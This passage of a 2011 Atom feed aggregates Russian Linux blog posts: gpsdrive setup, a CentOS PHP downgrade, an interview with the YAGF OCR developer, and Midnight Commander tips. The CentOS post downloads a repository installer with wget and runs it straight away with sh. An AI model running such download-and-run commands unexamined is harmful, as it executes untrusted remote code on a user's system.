<p>Точное время и координаты есть, даже высота какая-то есть, если спутников достаточно. Теперь увидим себя на карте с помощью gpsdrive. В Debian старая версия gpsdrive, <a href="http://gpsdrive.1045374.n5.nabble.com/xgps-shows-position-but-gpsdrive-says-quot-no-GPS-quot-td1048365.html">не понимающая</a> новую версию gpsd. Поэтому gpsdrive надо установить <a href="http://www.gpsdrive.de/">с сайта</a>.</p>
<p>Репозитарий там для Debian какой-то кривой, мне пришлось <a href="http://www.gpsdrive.de/debian/pool/squeeze/">скачать</a> и поставить вручную следующие пакеты:<br />
openstreetmap-map-icons-classic.small_18403_all.deb<br />
openstreetmap-map-icons-svg-png_18403_all.deb<br />
openstreetmap-map-icons-japan-png_18403_all.deb<br />
openstreetmap-map-icons-svg-twotone-png_18403_all.deb<br />
openstreetmap-map-icons-japan_18403_all.deb<br />
openstreetmap-map-icons-svg-twotone_18403_all.deb<br />
openstreetmap-map-icons-square.big_18403_all.deb<br />
openstreetmap-map-icons-svg_18403_all.deb<br />
openstreetmap-map-icons-square.small_18403_all.deb</p>
<p>Если поискать тамже, то можно найти <a href="http://www.gpsdrive.de/debian/pool/squeeze/gpsdrive_2.12_amd64.deb">gpsdrive версии 2.12</a>. Предварительно поставить зависимости:</p>
<pre>aptitude install libboost-filesystem1.42.0 libboost-thread1.42.0 libmapnik0.7 libpq5 libspeechd2
</pre><p>
Отключаем недоделанный перевод интерфейса и запускаем:</p>
<pre>export LANG=en_EN.UTF-8
gpsdrive
</pre><p>
Текущее положение будет отмечено на карте Земли. Считается скорость, показывается направление. Перемещаться по карте свободно можно в Explore Mode. Можно мерять расстояния, прокладывать путь, что-то там сохранять в SQL-базу данных и даже искать соседей через какие-то сервера. В меню Options - Maps - Download можно скачать разные карты, в том числе увидеть себя на OpenStreetMaps:</p>
<p><img alt="gpsdrive 2.12" src="http://rulinux.net.ru/files/linux/gpsdrive.png" /></p>
<p>Интересно, какие еще программы под Linux поддерживают GPS?</p>
Блог: <a href="http://rulinux.net.ru/blog/sin">RU Linux</a><img height="1" src="http://feeds.feedburner.com/~r/RULinux/~4/mXwv_PxwOOs" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/mXwv_PxwOOs" height="1" width="1" /></div></summary>
    <updated>2011-10-16T08:01:30Z</updated>
    <author>
      <name>sin</name>
    </author>
    <source>
      <id>http://rulinux.net.ru</id>
      <link href="http://rulinux.net.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/RULinux" rel="self" type="application/rss+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Сайт об использовании Linux на десктопах в России. Здесь можно попросить записать или недорого заказать свободный софт почтой у пользователей сайта, там же найти помощников при установке и настройке Linux в образовательном учреждении своего города. После регистрации на сайте можно добавить себя в список распространителей свободного софта и предложить помощь учителям своего города, создать свой блог.</subtitle>
      <title>RU Linux</title>
      <updated>2011-11-06T17:30:50Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://dedicatesupport.com/71 at http://dedicatesupport.com</id>
    <link href="http://dedicatesupport.com/content/centos-6-i-php-5217" rel="alternate" type="text/html" />
    <title>CentOS 6 и php 5.2.17</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>В дистрибутиве CentOS 6 изначально присутствует php версии 5.3. Это не всегда хорошо, потому как многие программы работают с этой ветко криво. Например UmiCMS. Вот и возникает парадоксальная ситуация, связанная со снижением версии php например до  5.2.17.</p>
<p>Одним из вариантов решения данного вопроса является использование репозитария <a href="http://www.atomicorp.com/downloads.html">atomic</a>. Для его установки используем следующие команды:</p>
<pre>wget http://www.atomicorp.com/installers/atomic
sh atomic</pre><p>Далее удаляем установленный php.</p>
 <p><a href="http://dedicatesupport.com/content/centos-6-i-php-5217" target="_blank">читать далее</a></p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/Y3Hc6oE0Lc0" height="1" width="1" /></div></summary>
    <updated>2011-10-14T09:30:50Z</updated>
    <category scheme="http://dedicatesupport.com/category/wordpress-category/centos" term="CentOS" />
    <category scheme="http://dedicatesupport.com/taxonomy/term/15" term="php" />
    <author>
      <name>admin</name>
    </author>
    <source>
      <id>http://dedicatesupport.com</id>
      <link href="http://dedicatesupport.com" rel="alternate" type="text/html" />
      <link href="http://dedicatesupport.com/feed/atom/" rel="self" type="application/rss+xml" />
      <title>Выделенный сервер своими руками</title>
      <updated>2012-02-09T14:00:52Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-714401349429107137.post-19692112304163054</id>
    <link href="http://drakulavich.blogspot.com/feeds/19692112304163054/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://drakulavich.blogspot.com/2011/09/yagf_15.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/19692112304163054" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/19692112304163054" rel="self" type="application/atom+xml" />
    <link href="http://drakulavich.blogspot.com/2011/09/yagf_15.html" rel="alternate" type="text/html" />
    <title>Андрей Боровский об YAGF, программистской ноосфере и интеллектуальном распознавании</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Термин <a href="http://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%B7%D0%BD%D0%B0%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D0%BE%D0%B2">OCR</a> мы вспоминаем, когда требуется конвертировать внушительных размеров фолиант в неприметный текстовый файл или сделать электронную версию документа на бумаге. Так или иначе, проблему надо решать. И среди свободных решений самым популярным по праву считается <a href="http://symmetrica.net/cuneiform-linux/yagf-ru.html"><b>YAGF</b></a> — оболочка для систем распознавания текстов <a href="https://launchpad.net/cuneiform-linux">Cuneiform</a> и <a href="http://code.google.com/p/tesseract-ocr/">Tesseract</a>.<br /><br />Продолжая <a href="http://drakulavich.blogspot.com/search/label/%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D1%8C%D1%8E">серию интервью</a> с русскоязычными разработчиками, позвольте представить вашему вниманию очередной тет-а-тет, разговор с автором озвученного фронтэнда.<a name="more" /><br /><div style="border-top: 1px solid rgb(65, 65, 65); margin-top: 5px;" /><br /><b>Представьтесь, пожалуйста. Расскажите, чем занимаетесь по долгу службы и каким образом примкнули к лагерю open source?</b><br />Меня зовут Андрей Боровский. На работе я программист, занимаюсь в основном разработкой экспертных систем. Дома я, помимо прочего, тоже иногда программист, а еще любитель возиться со всякими электронными штуками.<br /><br />С Линуксом познакомился в конце 97-го года. Мне тогда очень надоела Винда (даже  эстетически) и я попросил знакомого найти что-нибудь свеженькое. Он принес мне компакт-диск с дистрибутивом Линукс. Кажется, это была Калдера. На диске были записаны образы дискет по 1.44 мегабайта, двадцать с чем-то дискет. Их надо было переписать на настоящие дискеты и устанавливать систему, что уже тогда было некоторым анахронизмом. В те времена в процессе установки инсталлятору нужно было сообщать много низкоуровневых параметров своего оборудования. Мне даже корпус компа пришлось открыть. Но я прошел эту процедуру и познакомился с Линуксом. :)<br /><br />Как программист я столкнулся с Линуксом в 2001 году. Там был такой момент, мне нужно было посмотреть, как на практике работала какая-то вещь в тогдашней Qt, я взял диск с исходниками дистрибутива Линукс (это был Linux-Mandrake Russian Edition) и быстро нашел то, что мне было нужно. С тех пор я проникся уважением к открытому ПО. Для меня это своего рода «облако знаний», программистская ноосфера, где можно многому научиться. Так получилось, что многие редкие и интересные алгоритмы я прочел сначала в коде, а потом уже находил их описания в книгах или статьях. Для меня понятия «открытое ПО» и «Линукс» не тождественны. Например, существуют драйверы для Windows с открытыми исходными текстами. Всем, кому нужно писать свои драйверы, я рекомендую познакомиться с открытыми драйверами. Это хорошие наглядные учебные пособия. Разумеется, специальную литературу они не отменяют.<br /><br /><b>То есть, после первого знакомства забыли о линуксе на четыре года? Что помешало переходу?</b><br />Нет, не забыл, но и убежденным линуксоидом сразу не стал. Тогда были и другие интересные системы для десктопов: OS/2 еще не умерла и BeOS. BeOS выглядела очень интересно и перспективно. Ее убили не технические проблемы, а чисто маркетинговые ходы. Мне даже сейчас жаль, что так получилось. С интересом слежу за проектом Haiku, может что-нибудь сделаю для него.<br /><br /><b>Думал, задавать или не задавать вопрос о выборе Qt в качестве фреймворка для YAGF. Теперь же он потерял всякую актуальность — десять лет опыта не шутка. В развитии иных проектов на Qt не участвуете? Как оцениваете эволюцию «Кьюта» за прошедшую декаду лет?</b><br />Эволюция огромна. Сейчас некоторые подсистемы Qt сложнее, чем вся библиотека 10 лет назад. Возможно, библиотека стала слишком большой и пытается охватить слишком многое. Но это уже отдельная тема.<br /><br /><b>Извиняюсь, но не могу не задать вопрос после прочтения страницы вашего <a href="https://plus.google.com/116311156767887719824/about">профиля</a> в Google+. Там сказано: «В 15 лет своей программой убил школьную ЛВС. Так уж она была устроена. В смысле — ЛВС». Расскажите, пожалуйста, как примерили рубашку хакера :-)</b><br />«Рубашку черного хакера» я примерил случайно. Я не хотел никому навредить. Я писал программу, которая должна была передавать данные по этой самой ЛВС, и что-то там не так сделал. А в классе информатики использовалась централизованная архитектура, где всей передачей данных по сетке управляла программа на центральной станции. Эта программа получила мои данные и умерла. И при этом еще умудрилась запортить диск, а диск был системный. Я не считаю, что это моя вина. Программа, управляющая сетью, не должна падать от того,  что кто-то передал  «неправильные» данные. И тем более не должна портить файловую систему. Но учитель информатики был в ярости и две недели не подпускал меня к компьютерам вообще. :)<br /><br /><b>Со стороны кажется, что у YAGF поставлена амбициозная задача — убедить пользователей отказаться от виртуальных машин с FineReader. Так ли это на самом деле? Как вы оцениваете ситуацию с OCR в Linux? Какой системе отдаёте предпочтение: tesseract или cuneiform? </b><br />Нет, цель <code>YAGF</code> немного другая. Давайте будем реалистами. <code>cuneiform</code>, и <code>tesseract</code> разрабатывались как коммерческие проекты (и первый дошел до стадии стабильной коммерческой разработки). Потом разработчики открыли коды этих программ. Мы все понимаем, конечно, что если бы эти программы могли конкурировать с лидерами рынка, мы бы сейчас вряд ли имели на руках их исходники. Так что мы едва ли догоним и перегоним Readiris или FineReader. Но это не значит, что открытые проекты распознавания текста не нужны. Их преимущество — более высокая адаптируемость. Например, сейчас возрастает интерес к процессорам ARM. Когда появятся коммерческие системы распознавания текста для этих процессоров? Я думаю, этого никто точно не знает. А вот <code>tesseract</code> уже портировали на ARM. Что касается, собственно, <code>YAGF</code>, то в будущем эта программа могла бы поддерживать импорт из DjVu или, например, распознавание текста, зафиксированного видеокамерой. Причем не обязательно, что это сделаю именно я. Любой может подключиться к проекту и адаптировать его для своих нужд.<br /><br />Сравнивать <code>tesseract</code> и <code>cuneiform</code> можно очень долго, потому что у этих программ много разных особенностей и параметров. Если быть кратким, то мое мнение такое: в будущем <code>tesseract</code> превзойдет <code>cuneiform</code> по всем пунктам (если, конечно, разработчики будут прилагать усилия, как сейчас). А пока-что лучше установить в системе оба инструмента и опытным путем выяснить, какой из них подходит лучше для конкретных задач. Поэтому я и добавил поддержку обоих инструментов в <code>YAGF</code> 0.8.7.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://drakulavich.blogspot.com/feeds/posts/default/-/runix" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-geR10vJeJsk/TnEXAMVrCBI/AAAAAAAASgQ/dklNzwn1s3k/s480/yagf-ru.jpeg" /></a></div><br /><b>Касательно интереса к процессорам ARM. Смартфоны с Android'ом берут всё новые высоты по завоеванию рынка. Но Google не спешит внедрять Tesseract в прошивку. Их программа Googles отправляет снимок с камеры в облако, а потом присылает результат распознавания. Это говорит о моде облачных решений или сырости вышеназванной OCR?</b><br />Неудивительно, что <code>tesseract</code> нет в Android. Там вообще-то много чего нет, и я бы очень удивился, если бы там сейчас появился именно <code>tesseract</code>. Говоря о портировании на ARM, я, все-таки, имел в виду системы, к которым можно подключить сканер. При распознавании текста с фотографий <code>tesseract</code> показывает скромные результаты, в чем каждый может самостоятельно убедиться.<br /><br />Возможно, облачный сервис Google лучше подходит для решения такой задачи. Но облачные сервисы не могут быть решением задачи распознавания в общем случае. Многие организации ни за что на свете не отправят сканы своих документов на распознавание какому-то постороннему дяде. Даже если этот дядя Google. Да и отдельные люди, которым надо много сканировать и распознавать (например, переводчики), часто подписывают соглашения о конфиденциальности, где прямо запрещено передавать материалы в Интернет в каком-либо виде. Так что персональные средства распознавания будут востребованы и дальше.<br /><br /><b>Перед интервью я попросил читателей задать свои вопросы «о наболевшем». Один комментатор интересовался преимуществом графических оболочек над CLI. Чтобы не уходить в дебри философии, придётся переформулировать и сузить вопрос: по-вашему, можно ли эффективно распознавать текст в консоли? </b><br />Ну давайте посмотрим, что для этого нужно. Сначала нужно запустить <code>XSane</code>, отсканировать страницы. Затем в графическом редакторе все это подправить. Затем, собственно, инструмент распознавания, потом текстовый редактор, чтобы посмотреть, что же получилось. Промежуточные данные нужно передавать в файлах, а затем удалять их. Некоторые этапы этого цикла придется пройти несколько раз. Если кому-то нравится работать таким образом, это его право. Но я думаю, что все это удобнее делать из одной программы, которая управляет всем циклом и показывает пользователю результаты. И многие пользователи <code>YAGF</code> согласны со мной. :)<br /><br /><b>Спрашиваю, потому что предпринимал попытки обойтись одним cuneiform. Результат был плачевным.</b> <br />Мне при таком подходе не нравится, что я не вижу, что именно распознается. Приходится держать открытыми несколько программ и все время перезагружать файлы. <code>YAGF</code> избавляет от этой необходимости.<br /><br /><b>На сайте написано, что вы развиваете собственную ветку Cuneiform главным образом для распознавания текстов на смешанных языках (русский-французский, русский-немецкий, русский-испанский). Ваши патчи попадают в основную ветку? Какие наработки наиболее значимы, на ваш взгляд? </b><br />Тут надо учесть, что <code>cuneiform</code> не полностью открытая программа. Не углубляясь в технические подробности, скажу, что <code>cuneiform</code> нельзя обучить новым языкам. Он будет распознавать только то, что в него было когда-то заложено. Соответственно, мои попытки расширить возможности распознавания носили характер «хака». Текст распознавался на двух языках, а потом «склеивался». В процессе этого хакинга я узнал много интересного о внутреннем устройстве <code>cuneiform</code>, и иногда мои хаки неплохо работали, но в конечном итоге я понял — это неверный путь. Сейчас я не работаю над этим, а если снова начну, то уже на базе <code>tesseract</code>, который полностью открыт и обучаем. <br /><br /><b>В версии 0.8.7 появился импорт страниц из PDF. Стоит ли ожидать поддержки формата DjVu? Появится ли возможность наложить текстовый слой вместо изображения в PDF/DjVu? </b><br />При импорте PDF возникла одна интересная проблема. Во многих документах PDF, где текст хранится как картинка, разрешение этой картинки слишком низкое для уверенного распознавания. Я сейчас размышляю над алгоритмами реконструкции текста из картинки с низким разрешением в картинку с более высоким разрешением. Обычные алгоритмы масштабирования, такие, которые использует GIMP, например, тут не годятся. У меня уже есть идеи, но они будут хорошо работать (если будут) только для PDF, но не для DjVu. Для DjVu придется придумать что-то другое. Если получится, то импорт будет.<br /><br /><b>Для пост-обработки сканированных страниц существует <a href="http://scantailor.sourceforge.net/">Scan Tailor</a>. Не планируете ли вы интегрировать этот инструмент в YAGF? </b><br />Я обсуждал эту возможность с разработчиками Scan Tailor (правда, это было давно) и мы пришли тогда к выводу, что пока каждый пойдет своим путем. Я сейчас хочу направить основные усилия на добавление в <code>YAGF</code> алгоритмов обработки текста, необходимых именно при распознавании текста (распознавание таблиц, распознавание типов блоков «текст/картинка». Когда это будет сделано, к вопросу об объединении со Scan Tailor можно будет вернуться, если вторая сторона, конечно, этого захочет. С другой стороны, один открытый проект, как правило, может заимствовать код из другого открытого проекта, что бы об этом не думал автор кода. Так что на многие вещи можно посмотреть и проще.<br /><br /><b>Каким вы видите первый финальный релиз (1.0)? У проекта есть roadmap или функции внедряются в зависимости от запросов пользователей и ваших личных предпочтений?</b><br />Более интеллектуальным (с большим числом алгоритмов, повышающих распознаваемость текста). Да и графический интерфейс надо доработать. Будет возможность сохранять проекты, которые состоят из многих страниц, для дальнейшей работы с проектом как с единым целым. Возможно, еще кое что будет добавлено. Но я осторожен в обещаниях. Лучше пообещать меньше, а сделать больше, чем наоборот. :) <br /><br />Пожелания пользователей принимаются (принимаются и патчи с исправлениями и дополнениями), если новые фичи соответствуют моему представлению об облике программы. Я точно могу сказать, чем она не должна быть. Она не должна стать «комбайном». Слишком много функций редактирования изображения или текста, вызываемых пользователем, могут помешать. <code>YAGF</code> — это не графический редактор и не текстовый. Говоря о том, что не должно быть слишком много функций, я имею в виду именно команды пользователя.  Функции, которые автоматически улучшают распознаваемость текста или исправляют ошибки, будут добавляться и добавляться.<br /><br /><b>Спасибо за беседу. Успехов вам и проекту!</b> <br />Спасибо и Вам.<div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/714401349429107137-19692112304163054?l=drakulavich.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/AlEHszlSXC4" height="1" width="1" /></div></content>
    <updated>2011-09-14T21:49:00Z</updated>
    <published>2011-09-14T21:49:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="интервью" />
    <category scheme="http://www.blogger.com/atom/ns#" term="runix" />
    <category scheme="http://www.blogger.com/atom/ns#" term="soft" />
    <author>
      <name>Dr.AKULAvich</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/10567533341020480269</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-714401349429107137</id>
      <category term="linux" />
      <category term="mobile" />
      <category term="runix" />
      <category term="ассоциации" />
      <category term="news" />
      <category term="интервью" />
      <category term="ниочем" />
      <category term="образование" />
      <category term="gtk" />
      <category term="games" />
      <category term="service" />
      <category term="абзац" />
      <category term="openoffice" />
      <category term="gnome" />
      <category term="цитаты" />
      <category term="htpc" />
      <category term="android" />
      <category term="blogger" />
      <category term="шутка юмора" />
      <category term="дистрибутив" />
      <category term="python" />
      <category term="сравнение" />
      <category term="internet" />
      <category term="script" />
      <category term="soft" />
      <category term="решения" />
      <category term="ubuntu" />
      <category term="opera" />
      <category term="google" />
      <category term="sh" />
      <author>
        <name>Dr.AKULAvich</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/10567533341020480269</uri>
      </author>
      <link href="http://drakulavich.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/-/runix" rel="self" type="application/atom+xml" />
      <link href="http://drakulavich.blogspot.com/search/label/runix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/-/runix/-/runix?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>НеБЛОГонадёжные заметки шулера</subtitle>
      <title>♠ Краплёная колода</title>
      <updated>2012-01-20T14:24:14Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-2141445677437943011.post-3604189154099168758</id>
    <link href="http://konishchevdmitry.blogspot.com/2011/09/rss.html" rel="alternate" type="text/html" />
    <title>Чтение стен ВКонтакте через RSS</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Недавно возникло желание читать пару групп ВКонтакте. Регулярно заходить туда и проверять, не появилось ли чего нового - это не наш путь. Поэтому, узрев в этом желании отличную возможность поиграться с Google App Engine и Python'овским HTMLParser'ом, написал себе небольшой "велосипед" - vkontakte-feed.appspot.com. :)



Отдает посты с публичных стен в RSS. Пользуйтесь, если кому надо.<img height="1" src="http://feeds.feedburner.com/~r/KonishchevdmitrySmallBlog/~4/8SyxkYpmFok" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/8SyxkYpmFok" height="1" width="1" /></div></summary>
    <updated>2011-09-12T22:01:24Z</updated>
    <category scheme="http://www.blogger.com/atom/ns#" term="ВКонтакте" />
    <category scheme="http://www.blogger.com/atom/ns#" term="rss" />
    <author>
      <name>Dmitry Konishchev</name>
      <email>noreply@blogger.com</email>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-2141445677437943011</id>
      <category term="видеофайлы" />
      <category term="google reader shared items" />
      <category term="выравнивание" />
      <category term="резервное копирование" />
      <category term="кпк" />
      <category term="qframecatcher" />
      <category term="сериалы" />
      <category term="mediainfo" />
      <category term="ВКонтакте" />
      <category term="settings" />
      <category term="документация" />
      <category term="tvsubtitles.net" />
      <category term="icewm" />
      <category term="firefox" />
      <category term="mnogosearch" />
      <category term="mutt" />
      <category term="pda" />
      <category term="gtkmm" />
      <category term="распаковка архивов" />
      <category term="git" />
      <category term="сайты" />
      <category term="кодировка" />
      <category term="tips" />
      <category term="extension" />
      <category term="подсветка" />
      <category term="rss" />
      <category term="potwiki" />
      <category term="opensubtitles.org" />
      <category term="video" />
      <category term="ftp сервер" />
      <category term="перевод" />
      <category term="vim" />
      <category term="вкладки" />
      <category term="utl" />
      <category term="c++" />
      <category term="backup" />
      <category term="bittorrent" />
      <category term="virtualbox" />
      <category term="видеоролики" />
      <category term="видео" />
      <category term="vmware" />
      <category term="theme" />
      <category term="stardict" />
      <category term="передача файлов" />
      <category term="информация" />
      <category term="apt" />
      <category term="русские имена файлов" />
      <category term="faq" />
      <category term="utf-8" />
      <category term="bash" />
      <category term="советы" />
      <category term="c" />
      <category term="русская раскладка" />
      <category term="аудио плеер" />
      <category term="subdownloader" />
      <category term="автоматизация" />
      <category term="конвертирование файлов" />
      <category term="тема" />
      <category term="консольные приложения" />
      <category term="ubuntu" />
      <category term="subtitles" />
      <category term="GtkCellRendererToggle" />
      <category term="vcs" />
      <category term="субтитры" />
      <category term="ide" />
      <category term="форум" />
      <category term="svn" />
      <category term="nautilus" />
      <category term="yahoo pipes" />
      <category term="wiki" />
      <category term="flush" />
      <category term="зеркало сайта" />
      <category term="scrapbook" />
      <category term="mini-howto" />
      <category term="горячие клавиши" />
      <category term="youtube" />
      <category term="табы" />
      <category term="сглаживание шрифтов" />
      <category term="xresources" />
      <category term="mplayer" />
      <category term="видеохостинги" />
      <category term="gnome" />
      <category term="gnome-settings-daemon" />
      <category term="vsftpd" />
      <category term="скрипт" />
      <category term="just for fun" />
      <category term="почтовый клиент" />
      <category term="python" />
      <category term="plugin" />
      <category term="the pirate bay" />
      <category term="блог" />
      <category term="о блоге" />
      <category term="скриншоты" />
      <category term="ktorrent" />
      <category term="linux" />
      <category term="cvs" />
      <category term="antialiasing" />
      <category term="emacs" />
      <category term="httrack" />
      <category term="usb" />
      <category term="поиск" />
      <category term="howto" />
      <category term="moc" />
      <category term="gtk" />
      <category term="flv" />
      <category term="gtkrc" />
      <category term="deb" />
      <category term="pyvsb" />
      <category term="tar" />
      <category term="локальный репозиторий" />
      <category term="eee pc" />
      <category term="blogger" />
      <category term="книги" />
      <category term="unix" />
      <category term="konqueror" />
      <category term="запоминание позиции в файле" />
      <category term="search" />
      <category term="samba" />
      <category term="google reader" />
      <category term="gcc" />
      <category term="linuxforum.ru" />
      <category term="qt" />
      <category term="submplayer" />
      <category term="видеоплеер" />
      <category term="hotkeys" />
      <category term="netcat" />
      <category term="spreadbuntu" />
      <category term="GtkTreeViewColumn" />
      <author>
        <name>Dmitry Konishchev</name>
        <email>noreply@blogger.com</email>
      </author>
      <link href="http://konishchevdmitry.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/KonishchevdmitrySmallBlog" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>С Linux так всегда - сколько не копай вглубь и вширь, всегда найдется что-то новое...</subtitle>
      <title>KonishchevDmitry's small blog</title>
      <updated>2012-02-08T15:31:21Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://bappoy.pp.ru/?p=1026</id>
    <link href="http://bappoy.pp.ru/2011/09/08/mc.html" rel="alternate" type="text/html" />
    <title>Комфортная работа в Midnight Commander</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Многие мои коллеги принципиально игнорируют Midnight Commander, предпочитая работать в командной строке. Мотивируют это целым рядом причин, начиная с «нортон коммандер устарел еще в 1995 году» и заканчивая «я юниксоид с 1970 года и без всяких mc прекрасно управляюсь в консоли». Конечно же, это дело вкуса, и можно (и нужно!) настроить консоль под себя так, чтобы она летала со скоростью мысли: на помощь приходят команда alias, сочетание Ctrl+R, описание команды shopt в builtins(1), пакет bash_completion или его аналоги, ряд мелких хаков, наподобие <a href="http://bappoy.pp.ru/2008/11/17/quick-call-ssh.html">такого</a>, или альтернатива в виде zsh, в конце концов.</p>
<p>Однако визуалам типа меня удобнее постоянно иметь перед глазами списки файлов и папок, а не помнить, какой файл где находится и что здесь есть еще. Кроме того, пользуясь исключительно командами <code>cd</code> и <code>ls --color</code>, можно легко проглядеть что-нибудь ненужное, типа оставшихся от vim бэкапов в текущем каталоге (если бэкапы нужны, см <code>:help backupdir</code>) или папок с именем из пробела. </p>
<p>Конечно, сначала mc производит немного гнетущее впечатление, но если разобраться и привыкнуть, то может оказаться, что даже с конфигурацией из коробки он очень облегчает жизнь разработчика и системного администратора. Поделюсь собственными хитростями, используемыми каждый день. За кадром осталось еще множество интересных фич, типа кастомной раскраски файлов в панели, смены цветовой схемы на черно-зеленую, сниппетов в редакторе mcedit, настраиваемых VFS, но поскольку я ими не пользуюсь, то ничего про них не скажу. Примеры их настроек и использования можно посмотреть в /etc/mc и в /usr/share/mc.</p>
<p>Сначала полезные мелочи, для многих очевидные.<br />
</p>
<ul>
<li>Если до mc по каким-то причинам не доходят коды кнопок Fn, их можно заменить Esc-n. А Alt, иногда перехватываемый панелью меню, успешно заменяется кнопкой Esc
</li>
<li>Режим просмотра файлов «Full file list» лучше, чем «Short file list». При желании можно добавить туда показ прав на объекты файловой системы, например:
<pre>half type name | size | mtime | mode:3</pre>
</li>
<li>Панели подсказок над и под командной строкой внизу и меню сверху можно отключить в Options — Layout, будет больше пространства для списка файлов. Заодно там можно включить отображение свободного места в текущем разделе — очень полезно для нетбуков с мелкими экранами</li>
<li>При навигации по списку файлов сочетание <b>Ctrl+S</b> перекидывает на файл, начинающийся с вводимых символов</li>
<li><b>Alt+Y</b> перекидывает в предыдущую папку. Иногда это бывает полезно при восстановлении после ошибки «The shell is already running the command», за все время существования mc ставшей его визиткой</li>
<li>Встроенный редактор ужасен. В ~/.bashrc добавьте строчку <code>export EDITOR=vim</code>, а в пункте меню Options — Configuration снимите галку «Use internal editor». Точно так же можно использовать переменную окружения PAGER=view для просмотра файлов (опция «Use internal view»)</li>
<li><b>Alt+I</b> покажет текущую папку в противоположной панели, а <b>Alt+O</b> — папку под курсором, а если под курсором файл, то родительскую.</li>
<li>Начиная с ветки midnight commander 4.7.1, в меню сортировки появилась сортировка по версиям, она работает точно так же, как <code>ls -v</code>, т.е. показывает список 1.2.1, 1.2.2, 1.2.10 именно в этом порядке, а не в алфавитном (1.2.1, 1.2.10, 1.2.2). Сам делал :).</li>
<li><b>Ctrl+X c</b> — просмотр и редактирование прав на файл</li>
<li><b>Ctrl+X d</b> — три варианта сравнения двух каталогов: быстрое (по спискам файлов), по размерам (то же самое, только с учетом размеров), полное (по содержимому файлов)</li>
<li><b>Alt+C</b> — быстрый переход в нужную папку без изменения командной строки. По Esc-Tab показывает список подстановки (в командной строке mc Esc-Tab тоже иногда работает)</li>
<li>По <b>Ctrl+\</b> имеется многоуровневое меню быстрого доступа к папкам, в т.ч. и через FTP и SSH. При желании его можно отредактировать вручную в <b>~/.mc/hotlist</b></li>
</ul>
<p>На данный момент самой полезной фичей для меня является пользовательское меню.  Про него я уже писал пару раз (<a href="http://bappoy.pp.ru/2009/06/18/mc-tricks.html">1</a>, <a href="http://bappoy.pp.ru/2011/06/25/mc-unc-path.html">2</a>), сейчас расскажу более подробно.</p>
<p>Я поддерживаю несколько сайтов под mod_perl, и после изменений в коде startup.pl необходимо перезапускать процесс apache, свой для каждого сайта. Каждый сайт находится в /home/sites/sitename, а конфиг apache для этих сайтов — в /usr/local/apache/conf/httpd-sitename.conf.</p>
<p>Когда мне надоело вручную писать /usr/local/apache/bin/apachectl-sitename restart после каждого изменения, в ~/.mc/menu добавились строчки:</p>
<pre>s Restart apache for sitename
   sudo /usr/local/apache/bin/apachectl-sitename restart</pre>
<p>Первая строка задаёт быструю клавишу и название пункта меню, а все за ней следующее — команду, в которой можно использовать ряд макро-подстановок:</p>
<ul>
<li><b>%f</b> — имя файла под курсором, <b>%x</b> — расширение, <b>%b</b> — имя файла без расширения</li>
<li><b>%d</b> — каталог в активной панели, <b>%D</b> — каталог в неактивной панели
</li>
<li><b>%t</b> — выбранные файлы в активной панели, <b>%T</b> — в неактивной</li>
</ul>
<p>и т.д.</p>
<p>Потом появилось еще пять подобных пунктов, для каждого сайта. В конце концов, мне надоело выбирать стрелками нужную команду или искать в длинном списке, какая буква соответствует соответствует нужному пункту. Внимательно перечитав справку, появляющуюся при нажатии F1 в меню F2, добавил еще по строчке к каждому определению пункта меню:</p>
<pre>+= d /home/sites/sitename | f httpd-sitename.conf
s Restart apache for sitename
   sudo /usr/local/apache/bin/apachectl-sitename restart</pre>
